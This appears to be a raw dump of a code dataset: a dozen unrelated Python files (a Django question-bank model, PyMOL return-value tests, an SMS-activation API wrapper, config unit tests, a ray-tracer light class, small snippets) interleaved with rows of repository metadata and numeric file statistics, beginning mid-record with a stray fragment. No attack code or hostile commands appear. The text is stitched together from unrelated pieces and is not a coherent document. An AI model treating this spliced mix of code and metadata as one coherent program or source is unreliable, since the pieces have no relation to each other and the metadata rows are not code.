"Comfortable sales for your regular customers.", "demo_images": ["images/debt_notebook.png"], }
41.125
91
0.670213
248
1,974
5.209677
0.495968
0.04644
0.05805
0.073529
0.202012
0.071207
0.071207
0
0
0
0
0.037553
0.163627
1,974
47
92
42
0.745003
0.31307
0
0
0
0
0.666667
0.219494
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
400a73f7586223baef41988902ceba54e5d67940
250
py
Python
src/view/__init__.py
dangbinghoo/SourceScope
39241c9ca6ba48dee1164846e864297ad518f698
[ "BSD-3-Clause" ]
2
2015-08-23T14:36:06.000Z
2019-04-15T13:50:25.000Z
src/view/__init__.py
pombreda/seascope
ea24502c1eb13a804a056fb989b02603cc1f10a5
[ "BSD-3-Clause" ]
null
null
null
src/view/__init__.py
pombreda/seascope
ea24502c1eb13a804a056fb989b02603cc1f10a5
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2010 Anil Kumar # All rights reserved. # # License: BSD __all__ = ["CallView", "ClassGraphView", "FileFuncGraphView", "EdView", "FileView", "ResView", "ProjectUi"] def load_plugins(): import filecontext filecontext.load_plugins()
25
107
0.724
26
250
6.730769
0.846154
0.125714
0
0
0
0
0
0
0
0
0
0.018349
0.128
250
10
108
25
0.784404
0.252
0
0
0
0
0.379121
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
401f6fb54870b50af814380cd6d2fdec738fad72
2,692
py
Python
smsactivateru/actions.py
obsquriel/sms-activate-chris
0a9f35f8e01edb316157a4adac9fe2260636ccf7
[ "Apache-2.0" ]
null
null
null
smsactivateru/actions.py
obsquriel/sms-activate-chris
0a9f35f8e01edb316157a4adac9fe2260636ccf7
[ "Apache-2.0" ]
null
null
null
smsactivateru/actions.py
obsquriel/sms-activate-chris
0a9f35f8e01edb316157a4adac9fe2260636ccf7
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import inspect import json from .activations import SmsActivation from .errors import error_handler from .models import ActionsModel from .services import SmsService, ServiceStorage class GetBalance(ActionsModel): _name = 'getBalance' def __init__(self): super().__init__(inspect.currentframe()) @error_handler def __response_processing(self, response): return float(response.split(':')[1]) def request(self, wrapper): """ :rtype: int """ response = wrapper.request(self) return self.__response_processing(response) class GetFreeSlots(ActionsModel): _name = 'getNumbersStatus' def __init__(self, country=None, operator=None): super().__init__(inspect.currentframe()) @error_handler def __response_processing(self, response): service_list = json.loads(response) service_obj = SmsService() for name, short_name in ServiceStorage.names.items(): getattr(service_obj, name).count = int(service_list[short_name]) return service_obj def request(self, wrapper): """ :rtype: smsactivateru.services.SmsService """ response = wrapper.request(self) return self.__response_processing(response) class GetNumber(ActionsModel): _name = 'getNumber' def __init__(self, service, country=None, operator=None, forward=False, ref=None): service = getattr(service, '__service_short_name').split('_')[0] forward = int(forward) super().__init__(inspect.currentframe()) @error_handler def __response_processing(self, response, wrapper): data = response.split(':') return SmsActivation(data[1], data[2], data[3], wrapper) def request(self, wrapper): """ :rtype: smsactivateru.activations.SmsActivation """ response = wrapper.request(self) return self.__response_processing(response, wrapper=wrapper) class GetStatus(ActionsModel): _name = 'getStatus' def __init__(self, id): super().__init__(inspect.currentframe()) @error_handler def __response_processing(self, response): data = {'status': response, 'code': None} if ':' in response: data['status'] = response.split(':', 1)[0] data['code'] = response.split(':', 1)[1] return data def request(self, wrapper): """ :rtype: dict """ response = wrapper.request(self) return self.__response_processing(response) class SetStatus(ActionsModel): _name = 'setStatus' def __init__(self, id, status, forward=False): forward = int(forward) super().__init__(inspect.currentframe()) @error_handler def __response_processing(self, response): data = {'status': response} return data def request(self, wrapper): """ :rtype: dict """ response = wrapper.request(self) return self.__response_processing(response)
23.823009
83
0.72734
307
2,692
6.074919
0.218241
0.096515
0.029491
0.075067
0.506166
0.492225
0.450402
0.450402
0.450402
0.417158
0
0.004312
0.138559
2,692
112
84
24.035714
0.799914
0.055721
0
0.463768
0
0
0.042237
0
0
0
0
0
0
1
0.217391
false
0
0.086957
0.014493
0.594203
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
402654dadebdc8864783b459a9af8ceca4ffb3a5
2,927
py
Python
catalyst/utils/__init__.py
bbradt/catalyst
38a503c8af040906e377b7485d7fe15a7bc1de19
[ "Apache-2.0" ]
null
null
null
catalyst/utils/__init__.py
bbradt/catalyst
38a503c8af040906e377b7485d7fe15a7bc1de19
[ "Apache-2.0" ]
null
null
null
catalyst/utils/__init__.py
bbradt/catalyst
38a503c8af040906e377b7485d7fe15a7bc1de19
[ "Apache-2.0" ]
null
null
null
# flake8: noqa # isort:skip_file from .argparse import boolean_flag from .callbacks import process_callbacks from .checkpoint import ( load_checkpoint, pack_checkpoint, save_checkpoint, unpack_checkpoint ) from .compression import pack, pack_if_needed, unpack, unpack_if_needed from .config import ( dump_environment, get_environment_vars, load_ordered_yaml, parse_args_uargs, parse_config_args ) from .confusion_matrix import ( calculate_tp_fp_fn, calculate_confusion_matrix_from_arrays, calculate_confusion_matrix_from_tensors ) from .dataset import ( create_dataset, split_dataset_train_test, create_dataframe ) from .ddp import get_nn_from_ddp_module, is_wrapped_with_ddp from .dict import append_dict, flatten_dict, merge_dicts, get_dictkey_auto_fn # from .frozen import * from .hash import get_hash, get_short_hash from .image import ( has_image_extension, imread, imwrite, imsave, mask_to_overlay_image, mimread, mimwrite_with_meta, tensor_from_rgb_image, tensor_to_ndimage ) from .initialization import ( bias_init_with_prob, constant_init, create_optimal_inner_init, kaiming_init, normal_init, outer_init, uniform_init, xavier_init ) from .misc import ( args_are_not_none, copy_directory, format_metric, get_fn_default_params, get_fn_argsnames, get_utcnow_time, is_exception, make_tuple, maybe_recursive_call, pairwise, ) from .numpy import ( dict2structed, geometric_cumsum, get_one_hot, np_softmax, structed2dict ) from .pandas import ( dataframe_to_list, folds_to_list, split_dataframe_train_test, split_dataframe_on_folds, split_dataframe_on_stratified_folds, split_dataframe_on_column_folds, map_dataframe, separate_tags, get_dataset_labeling, split_dataframe, merge_multiple_fold_csv, read_multiple_dataframes, read_csv_data, balance_classes ) from .parallel import parallel_imap, tqdm_parallel_imap, get_pool from .plotly import plot_tensorboard_log # from .registry import * from .scripts import ( import_module, dump_code, dump_python_files, import_experiment_and_runner, dump_base_experiment_code, ) from .seed import set_global_seed from .serialization import deserialize, serialize # from .tools.tensorboard import ( # EventReadingError, # EventsFileReader, # SummaryItem, # SummaryReader, # SummaryWriter, # ) from .torch import ( any2device, ce_with_logits, detach, get_activation_fn, get_available_gpus, get_device, get_network_output, get_optimizable_params, get_optimizer_momentum, log1p_exp, normal_logprob, normal_sample, prepare_cudnn, process_model_params, set_optimizer_momentum, set_requires_grad, soft_update ) from .visualization import plot_confusion_matrix, render_figure_to_tensor from .distributed import ( get_rank, is_apex_available, distributed_mean, process_components, assert_fp16_available, distributed_run )
33.643678
78
0.803553
383
2,927
5.663185
0.519582
0.032273
0.02213
0.025818
0
0
0
0
0
0
0
0.002782
0.140417
2,927
86
79
34.034884
0.8593
0.071404
0
0
0
0
0
0
0
0
0
0
0.013699
1
0
true
0
0.342466
0
0.342466
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
2
402763e0bdd094ee06766b47e12d669848bd8bcc
229
py
Python
Python/Algorithms/1128.py
DimitrisJim/leetcode_solutions
765ea578748f8c9b21243dec9dc8a16163e85c0c
[ "Unlicense" ]
2
2021-01-15T17:22:54.000Z
2021-05-16T19:58:02.000Z
Python/Algorithms/1128.py
DimitrisJim/leetcode_solutions
765ea578748f8c9b21243dec9dc8a16163e85c0c
[ "Unlicense" ]
null
null
null
Python/Algorithms/1128.py
DimitrisJim/leetcode_solutions
765ea578748f8c9b21243dec9dc8a16163e85c0c
[ "Unlicense" ]
null
null
null
from collections import Counter class Solution: def numEquivDominoPairs(self, dominoes) -> int: counts = Counter(map(frozenset, dominoes)).values() return int(.5 * sum(n * (n - 1) for n in counts if n > 1))
28.625
66
0.650655
31
229
4.806452
0.741935
0.026846
0
0
0
0
0
0
0
0
0
0.017045
0.231441
229
7
67
32.714286
0.829545
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
40279874592ebce01a729fb94c5b33feed6afadb
167
py
Python
code_snippt_5.py
jyoti140220/python_dictionary_logical_quetions
f33e5eff835470af7c52de8658526b5a408102eb
[ "MIT" ]
null
null
null
code_snippt_5.py
jyoti140220/python_dictionary_logical_quetions
f33e5eff835470af7c52de8658526b5a408102eb
[ "MIT" ]
null
null
null
code_snippt_5.py
jyoti140220/python_dictionary_logical_quetions
f33e5eff835470af7c52de8658526b5a408102eb
[ "MIT" ]
null
null
null
my_dict = {} my_dict[(1,2,4)] = 8 my_dict[(4,2,1)] = 10 my_dict[(1,2)] = 12 sum = 0 for k in my_dict: sum += my_dict[k] print (sum) print(my_dict)
12.846154
22
0.532934
35
167
2.342857
0.4
0.512195
0.170732
0.195122
0
0
0
0
0
0
0
0.114754
0.269461
167
12
23
13.916667
0.557377
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.222222
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
402bdac38f2f66b7b8a8d9f9c9fcaedcaa9062e9
387
py
Python
tests/unit/test_checker.py
facebbook/jina
e8079af3d58f1de0f51f8aef6cdf1eb3d87a9873
[ "Apache-2.0" ]
null
null
null
tests/unit/test_checker.py
facebbook/jina
e8079af3d58f1de0f51f8aef6cdf1eb3d87a9873
[ "Apache-2.0" ]
4
2020-09-01T17:47:27.000Z
2021-04-16T23:11:57.000Z
tests/unit/test_checker.py
facebbook/jina
e8079af3d58f1de0f51f8aef6cdf1eb3d87a9873
[ "Apache-2.0" ]
null
null
null
import argparse import os from jina.checker import ImportChecker def test_importchecker(tmpdir): args = argparse.Namespace() args.cli = 'check' tmp_exec_file = os.path.join(str(tmpdir), 'tmp_exec.yml') tmp_exec_driver = os.path.join(str(tmpdir), 'tmp_driver.yml') args.summary_exec = tmp_exec_file args.summary_driver = tmp_exec_driver ImportChecker(args)
25.8
65
0.736434
55
387
4.945455
0.418182
0.128676
0.080882
0.095588
0.161765
0.161765
0
0
0
0
0
0
0.160207
387
14
66
27.642857
0.836923
0
0
0
0
0
0.080103
0
0
0
0
0
0
1
0.090909
false
0
0.454545
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
4049345b9ec2fe23dce4d84488f3b2cac070e4ff
986
py
Python
ray_tracer/lights.py
jjason/RayTracerChallenge
ab3cea8968407426bddfa9e11319664fc0b595f6
[ "MIT" ]
1
2020-05-13T03:54:00.000Z
2020-05-13T03:54:00.000Z
ray_tracer/lights.py
jjason/RayTracerChallenge
ab3cea8968407426bddfa9e11319664fc0b595f6
[ "MIT" ]
null
null
null
ray_tracer/lights.py
jjason/RayTracerChallenge
ab3cea8968407426bddfa9e11319664fc0b595f6
[ "MIT" ]
null
null
null
from color import Color from point import Point class PointLight: def __init__(self, position=None, intensity=None): self.position = position self.intensity = intensity @property def position(self): return self._position @position.setter def position(self, value): self._position = Point(x=value.x, y=value.y, z=value.z) \ if value else Point(x=0, y=0, z=0) @property def intensity(self): return self._intensity @intensity.setter def intensity(self, value): self._intensity = Color(red=value.red, green=value.green, blue=value.blue) \ if value else Color(red=1, green=1, blue=1) def __eq__(self, other): return self.position == other.position and \ self.intensity == other.intensity def __ne__(self, other): return not self == other
25.947368
65
0.565923
115
986
4.713043
0.269565
0.110701
0.073801
0
0
0
0
0
0
0
0
0.009217
0.339757
986
37
66
26.648649
0.823349
0
0
0.068966
0
0
0
0
0
0
0
0
0
1
0.241379
false
0
0.068966
0.137931
0.482759
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
405747a0794fa6ee2a3b06662f2adddfcbb8a62a
3,715
py
Python
tests/test_config.py
NickleDave/RAM
f687b7ede3256f4f76d01fad4aaa70eaa9756467
[ "BSD-3-Clause" ]
4
2019-03-03T23:30:15.000Z
2019-07-13T00:30:38.000Z
tests/test_config.py
NickleDave/RAM
f687b7ede3256f4f76d01fad4aaa70eaa9756467
[ "BSD-3-Clause" ]
13
2019-04-20T22:41:49.000Z
2019-09-02T02:28:18.000Z
tests/test_config.py
NickleDave/RAM
f687b7ede3256f4f76d01fad4aaa70eaa9756467
[ "BSD-3-Clause" ]
null
null
null
import os import unittest from configparser import ConfigParser import ram.config HERE = os.path.dirname(__file__) class TestConfig(unittest.TestCase): def setUp(self): self.test_configs_dir = os.path.join(HERE, 'test_configs') def test_TrainConfig_bool(self): config = ConfigParser() config.add_section('train') config['train']['save_log'] = 'True' a_train_config = ram.config.TrainConfig(**config['train']) self.assertTrue(a_train_config.save_log) config['train']['save_log'] = 'False' a_train_config = ram.config.TrainConfig(**config['train']) self.assertTrue(not a_train_config.save_log) def test_DataConfig_bool(self): config = ConfigParser() config.add_section('data') config['data']['root_results_dir'] = '.' config['data']['data_dir'] = '.' config['data']['save_loss'] = 'True' a_data_config = ram.config.DataConfig(**config['data']) self.assertTrue(a_data_config.save_loss) config['data']['save_loss'] = 'False' a_data_config = ram.config.DataConfig(**config['data']) self.assertTrue(not a_data_config.save_loss) config['data']['save_train_inds'] = 'True' a_data_config = ram.config.DataConfig(**config['data']) self.assertTrue(a_data_config.save_train_inds) config['data']['save_train_inds'] = 'False' a_data_config = ram.config.DataConfig(**config['data']) self.assertTrue(not a_data_config.save_train_inds) def test_DataConfig_float_or_None(self): config = ConfigParser() config.add_section('data') config['data']['root_results_dir'] = '.' config['data']['data_dir'] = '.' a_data_config = ram.config.DataConfig(**config['data']) self.assertTrue(a_data_config.train_size is None) self.assertTrue(a_data_config.val_size is None) config['data']['train_size'] = '0.7' config['data']['val_size'] = '0.3' a_data_config = ram.config.DataConfig(**config['data']) self.assertTrue(type(a_data_config.train_size) is float) self.assertTrue(type(a_data_config.val_size) is float) def test_good_config(self): config_file = os.path.join(self.test_configs_dir, 'good_config.ini') good_config = ram.config.parse_config(config_file=config_file) self.assertTrue(type(good_config) == ram.config.Config) def test_missing_data_dir_raises(self): config_file = os.path.join(self.test_configs_dir, 'missing_data_dir_config.ini') with self.assertRaises(ValueError): ram.config.parse_config(config_file=config_file) def test_missing_root_results_dir_raises(self): config_file = os.path.join(self.test_configs_dir, 'missing_root_results_dir_config.ini') with self.assertRaises(ValueError): ram.config.parse_config(config_file=config_file) def test_invalid_model_keys_raises(self): config_file = os.path.join(self.test_configs_dir, 'invalid_model_keys_config.ini') with self.assertRaises(ValueError): ram.config.parse_config(config_file=config_file) def test_invalid_train_keys_raises(self): config_file = os.path.join(self.test_configs_dir, 'invalid_train_keys_config.ini') with self.assertRaises(ValueError): ram.config.parse_config(config_file=config_file) def test_invalid_data_keys_raises(self): config_file = os.path.join(self.test_configs_dir, 'invalid_data_keys_config.ini') with self.assertRaises(ValueError): ram.config.parse_config(config_file=config_file) if __name__ == '__main__': unittest.main()
40.824176
96
0.683984
486
3,715
4.882716
0.12963
0.075853
0.064897
0.053097
0.764855
0.729456
0.681837
0.662453
0.630426
0.630426
0
0.001328
0.189233
3,715
90
97
41.277778
0.786521
0
0
0.369863
0
0
0.120323
0.039838
0
0
0
0
0.219178
1
0.136986
false
0
0.054795
0
0.205479
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40640e73eba8a0c05868801fddd7891ec4a51a54
6,886
py
Python
NYRP/models.py
WalterSchaertl/NYRP
bd9554fba80ed11f9c8efbc6c19b5a5cb987e3b6
[ "MIT" ]
1
2018-09-27T01:44:48.000Z
2018-09-27T01:44:48.000Z
NYRP/models.py
WalterSchaertl/NYRP
bd9554fba80ed11f9c8efbc6c19b5a5cb987e3b6
[ "MIT" ]
5
2021-04-08T18:23:14.000Z
2021-09-22T17:37:53.000Z
NYRP/models.py
WalterSchaertl/NYRP
bd9554fba80ed11f9c8efbc6c19b5a5cb987e3b6
[ "MIT" ]
null
null
null
from django.db import models from django.utils import timezone from django.conf import settings # A constant the defines the different choices the user has when submitting a bug QUESTION_BUG_CHOICES = (("1", "This question doesn't belong in this topic."), ("2", "This question doesn't belong in this unit."), ("3", "The given answer is incorrect."), ("4", "There is a formatting/typo error in the question."), ("5", "Other (please specify below).")) class Question(models.Model): """ The model for a question object, a Question object has: Question: Text: A string that is the question Answers Choices: Text: 5 different options to answer (A-E) Ans Text: The correct answer to the question Subject: Text: The subject it belongs to Month: Text: The Month is was published Year: Int: The year it was published Unit: Int: The unit number of the quesion Group Foreign Key: If this question belongs to a set, the questions will all share a group Hint Foreign Key: A relation to a hint for the question Diagram: File: A PNG file that goes with the question Group, Hint, and Diagram are not applicable to all questions """ question = models.CharField(max_length=500, blank=True) A = models.CharField(max_length=200, blank=True) B = models.CharField(max_length=200, blank=True) C = models.CharField(max_length=200, blank=True) D = models.CharField(max_length=200, blank=True) E = models.CharField(max_length=200, blank=True) ans = models.CharField(max_length=1, default="z") subject = models.CharField(choices=settings.SUBJECTS, max_length=4, default="ERRO") month = models.CharField(max_length=200, blank=True) year = models.IntegerField(blank=True, null=True) unit = models.IntegerField(blank=True, null=True) group = models.ForeignKey("Group", blank=True, null=True, on_delete=models.SET_NULL) hint = models.ForeignKey("Hint", blank=True, null=True, on_delete=models.SET_NULL) diagram = models.FileField(default = None, blank=True, null=True, upload_to="diagrams") # How the question is shown in the admin view def __str__(self): return str(self.subject) + " : " + str(self.unit) + " : " + str(self.year) + " : " +\ str(self.month)[0:3] + " : " + str(self.question) class Hint(models.Model): """ A Hint object that can go with questions """ hint1 = models.CharField(max_length=200, default="") hint2 = models.CharField(max_length=200, default="") hint3 = models.CharField(max_length=200, default="") def __str___(self): return "Hints for " + str(Question.objects.get(hint=self)) class Group(models.Model): """ An model that is related to a set of questions Name: Text: The name of the group """ name = models.CharField(max_length=200, default="") def __str__(self): return "This group contains questions " + str(Question.objects.filter(group=self)) class Selector(models.Model): """ Object used to create a list of questions that pertain to the users selection """ # Used to select the questions and keep track of the current one subject = models.CharField(max_length=100, default="ERRO") # The subject the user chose index = models.IntegerField(default=0) # Used to iterate through the questions questions = models.ManyToManyField(Question) # All the questions matching the user's criteria pri_keys = models.CharField(max_length=1000, default="") # A list of the primary keys in questions # Used to track the user's record correct = models.BooleanField(default=False) # If the user answer the current question correctly choice_history = models.TextField(default="") # What their previous answers were # A list of how the user did on questions in the form of [question's pk, if_skipped, sequence of answers entered] # Stored as a string, but can be cast to a list of [int, boolean, string] record = models.TextField(default="") # TODO extra form validation so by_unit isn't needed def populate_questions(self, units, exams, by_unit): """ Creates relationships to the appropriate questions. The parameter by_unit is included because the user may have selected some exams, but changed their mind and selected questions by unit. The form will say the user selected both units and exams, so by_unit is included to check which submission button they clicked. :param units: the units the user wants to take :param exams: the exams the user wants to take :param by_unit: if the user choose to get questions by unit or not """ # If the user choose to get questions by unit, filter by unit if by_unit: self.questions.set(Question.objects.filter(subject=self.subject).filter(unit__in=units)) else: # Exams are a list of Month Year pairings for exam in exams: month = exam[0:exam.index(" ")] year = exam[exam.index(" ") + 1:] # Adding each question that matches both the year and the month for each exam # TODO refactor this self.questions.set(self.questions.all() | Question.objects.filter(subject=self.subject).filter(year=year, month=month)) # Used for debugging to limit the number of questions # If there's more questions than we want to give to the user #if self.questions.count() > 50: # self.questions = self.questions[0:50] # Randomizing the Queryset and storing that random order in pri_keys for q in self.questions.all().order_by("?"): self.pri_keys += str(q.pk) + "," self.pri_keys = self.pri_keys[0:len(self.pri_keys) - 1] # Removing trailing "," self.save() # Saving it # Returns the question with the primary key at the index of index def get_question(self): # Used to tell there are more questions or not if self.questions is None or self.index is None or self.index >= len(self.questions.all()): return None index_list = self.pri_keys.split(",") return self.questions.get(pk=index_list[self.index]) # How the selector will show up in the admin view def __str__(self): return "Selector: " + str(self.pk) class QuestionBug(models.Model): """ Used for users to submit bug reports on the questions. Question: The question the user finds fault with Bug Choices: Options for errors with the question Description: A description of the fault Time: When the error occurred """ question = models.ForeignKey(Question, on_delete=models.CASCADE) bug_choices = models.CharField(max_length=1, choices=QUESTION_BUG_CHOICES, default="5") description = models.TextField(blank=True) time = models.DateTimeField(default=timezone.now, blank=True) # How the bug report will show up in the admin view def __str__(self): return "Bug: " + str(self.pk) + " with question " + str(self.question.pk) + \ ": " + str(self.get_bug_choices_display())
43.582278
124
0.706796
1,031
6,886
4.649855
0.256062
0.050063
0.05632
0.075094
0.206508
0.188986
0.150605
0.074259
0.068002
0.037547
0
0.011712
0.194017
6,886
157
125
43.859873
0.852072
0.462242
0
0.056338
0
0
0.085187
0
0
0
0
0.012739
0
1
0.098592
false
0
0.042254
0.070423
0.71831
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
2
406dec322904220637fdf63a7c33e1a65c5e39f8
427
py
Python
safeguard.py
N-index/safeguard
3e4a8479d0e87675bd4d49014cf68528409e0995
[ "MIT" ]
4
2020-02-27T09:54:34.000Z
2021-06-28T18:37:54.000Z
safeguard.py
N-index/safeguard
3e4a8479d0e87675bd4d49014cf68528409e0995
[ "MIT" ]
4
2021-06-28T12:56:33.000Z
2022-03-12T00:58:49.000Z
safeguard.py
N-index/safeguard
3e4a8479d0e87675bd4d49014cf68528409e0995
[ "MIT" ]
null
null
null
from app import create_app, db import os from flask_migrate import Migrate, upgrade from app.models import User app = create_app(os.getenv('FLASK_CONFIG') or 'default') # bind db & app migrate = Migrate(app, db) @app.shell_context_processor def make_shell_context(): return dict(db=db, User=User) @app.cli.command() def deploy(): """Run deployment tasks.""" # migrate database to latest revision upgrade()
20.333333
56
0.725995
63
427
4.793651
0.52381
0.046358
0
0
0
0
0
0
0
0
0
0
0.163934
427
20
57
21.35
0.845938
0.168618
0
0
0
0
0.054598
0
0
0
0
0
0
1
0.166667
false
0
0.333333
0.083333
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
407094c9478284d584836226049b393b29da161d
922
py
Python
tests/validation/test_export.py
vincent99/rio
018dac19be47ee20ae47bcd8eea71c8c4f07a1af
[ "Apache-2.0" ]
2
2019-10-14T18:47:23.000Z
2019-10-26T18:54:56.000Z
tests/validation/test_export.py
jjasghar/rio
b686eddc3a639b5920cf186f9cb887871d632140
[ "Apache-2.0" ]
null
null
null
tests/validation/test_export.py
jjasghar/rio
b686eddc3a639b5920cf186f9cb887871d632140
[ "Apache-2.0" ]
null
null
null
# Setup import pytest import util @pytest.fixture def serviceJson(stack, service): fullName = "%s/%s" % (stack, service) obj = util.runToJson("rio export -o json -t service %s" % fullName) return obj @pytest.fixture def stackJson(stack, service): # service is passed in so that there will be one in the stack export obj = util.runToJson("rio export -o json %s" % stack) return obj def test_service_export_image(serviceJson): assert serviceJson['image'] == "nginx" def test_service_export_name(service, serviceJson): assert serviceJson['name'] == ("%s" % service) def test_service_export_scale(serviceJson): assert serviceJson['scale'] == 1 def test_stack_export_service_image(stackJson, service): assert stackJson['services'][service]['image'] == "nginx" def test_stack_export_service_scale(stackJson, service): assert stackJson['services'][service]['scale'] == 1
24.263158
72
0.712581
120
922
5.333333
0.316667
0.054688
0.065625
0.09375
0.315625
0.2375
0.09375
0
0
0
0
0.002597
0.164859
922
37
73
24.918919
0.828571
0.078091
0
0.190476
0
0
0.12987
0
0
0
0
0
0.238095
1
0.333333
false
0
0.095238
0
0.52381
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
4072ffcb7ce7722d2c1df343e56c72d5282684f6
12,632
py
Python
test/inp/C2000returns.py
hryknkgw/pymolwin
4a1335e90497dbcbfa789f1285a7c1ad84a051f8
[ "CNRI-Python" ]
null
null
null
test/inp/C2000returns.py
hryknkgw/pymolwin
4a1335e90497dbcbfa789f1285a7c1ad84a051f8
[ "CNRI-Python" ]
null
null
null
test/inp/C2000returns.py
hryknkgw/pymolwin
4a1335e90497dbcbfa789f1285a7c1ad84a051f8
[ "CNRI-Python" ]
null
null
null
# -c print "BEGIN-LOG" import pymol import cmd # need to do this for all supported file types because the load routines diverge... def x(st): print st cmd.set("raise_exceptions",0) valu = eval(st) print valu if cmd.is_error(valu): cmd.set("raise_exceptions",1) try: print eval(st) except pymol.CmdException: print "CmdException raised." except cmd.QuietException: print "QuietException raised." map(x,[ 'cmd.load("dat/pept.pdb")' , 'cmd.load("dat/nonexistent.pdb")' , 'cmd.load("dat/small01.mol")' , 'cmd.load("dat/nonexistent.mol")' , 'cmd.load("dat/ligs3d.sdf")' , 'cmd.load("dat/nonexistent.sdf")', 'cmd.load("dat/small03.mol2")' , 'cmd.load("dat/nonexistent.mol2")' , 'cmd.load("dat/pept.r3d")' , 'cmd.load("dat/nonexistent.r3d")' , 'cmd.load("dat/pept.pkl")' , 'cmd.load("dat/nonexistent.pkl")' , 'cmd.get_names()' , 'cmd.delete("all")' , 'cmd.get_names()' , 'cmd.get_model("nonexistent")' , 'cmd.space("cmyk")', 'cmd.space("unknown")', 'cmd.space("rgb")', 'cmd.space()', ]) cmd.delete("all") cmd.load("dat/pept.pdb") mdl = cmd.get_model("pept") print mdl.__class__ print len(mdl.atom) mdl = cmd.get_model("none") print mdl.__class__ print len(mdl.atom) map( x, [ 'cmd.get_model("nonexistent")', 'cmd.create("test","none",quiet=0)', 'cmd.create("test2","nonexistent")', 'cmd.create("test3","?allowed",quiet=0)', 'cmd.fragment("arg")', 'cmd.fragment("nonexistent")', ]) cmd.delete("all") cmd.load("dat/pept.pdb") map( x, [ 'cmd.distance("none","none","none")', 'cmd.distance("none","invalid1","none")', 'cmd.distance("none","none","invalid2")', 'cmd.distance("none","invalid1","invalid2")', 'cmd.index("none")', 'cmd.index("first pept")', 'cmd.index("invalid")', 'cmd.identify("none")', 'cmd.identify("first pept")', 'cmd.identify("invalid")', 'cmd.identify("none",mode=1)', 'cmd.identify("first pept",mode=1)', 'cmd.identify("invalid",mode=1)', 'cmd.count_atoms("none")', 'cmd.count_atoms()', 'cmd.count_atoms("pept")', 'cmd.count_atoms("invalid")', 'cmd.count_frames()', 'cmd.count_states()', 'cmd.count_states("all")', 'cmd.count_states("none")', 'cmd.count_states("invalid")', 'cmd.get_area()', 'cmd.get_area("resi 1")', 'cmd.get_area("none")', 'cmd.get_area("invalid")', 'cmd.get_chains()', 'cmd.get_chains("pept")', 'cmd.get_chains("resi 1")', 'cmd.get_chains("none")', 'cmd.get_chains("invalid")', 'cmd.zoom()', 'cmd.zoom("pept")', 'cmd.zoom("none")', 'cmd.zoom("invalid")', 'cmd.center()', 'cmd.center("pept")', 'cmd.center("none")', 'cmd.center("invalid")', ]) print "END-LOG" TODO=""" #-------------------------------------------------------------------- from querying import \ angle, \ dist, \ dihedral, \ distance, \ export_dots, \ find_pairs, \ get_angle, \ get_area, \ get_chains, \ get_color_index, \ get_color_indices, \ get_object_color_index, \ get_object_list, \ get_color_tuple, \ get_atom_coords, \ get_dihedral, \ get_distance, \ get_extent, \ get_movie_locked, \ get_names_of_type, \ get_object_matrix, \ get_phipsi, \ get_position, \ get_povray, \ get_renderer, \ get_symmetry, \ get_title, \ get_type, \ id_atom, \ overlap, \ phi_psi #-------------------------------------------------------------------- from selecting import \ deselect, \ indicate, \ select, \ select_list, \ pop #-------------------------------------------------------------------- from exporting import \ png, \ export_coords, \ get_pdbstr, \ get_session, \ multisave, \ save #-------------------------------------------------------------------- import editing from editing import \ alter, \ alter_list, \ alter_state, \ attach, \ bond, \ cycle_valence, \ deprotect, \ dss, \ edit, \ fix_chemistry, \ flag, \ fuse, \ h_add, \ h_fill, \ invert, \ iterate, \ iterate_state, \ map_set_border, \ map_double, \ matrix_transfer, \ matrix_reset, \ protect, \ push_undo, \ redo, \ remove, \ remove_picked, \ rename, \ replace, \ rotate, \ sculpt_purge, \ sculpt_deactivate, \ sculpt_activate, \ sculpt_iterate, \ set_dihedral, \ set_name, \ set_geometry, \ set_object_ttt, \ set_symmetry, \ set_title, \ smooth, \ sort, \ split_states, \ torsion, \ transform_object, \ transform_selection,\ translate, \ translate_atom, \ unbond, \ undo, \ unpick, \ update #-------------------------------------------------------------------- from externing import \ cd, \ ls, \ paste, \ pwd, \ system #-------------------------------------------------------------------- from wizarding import \ get_wizard, \ get_wizard_stack, \ refresh_wizard, \ replace_wizard, \ set_wizard, \ set_wizard_stack, \ dirty_wizard, \ wizard #-------------------------------------------------------------------- from fitting import \ align, \ fit, \ rms, \ rms_cur, \ intra_fit, \ intra_rms, \ 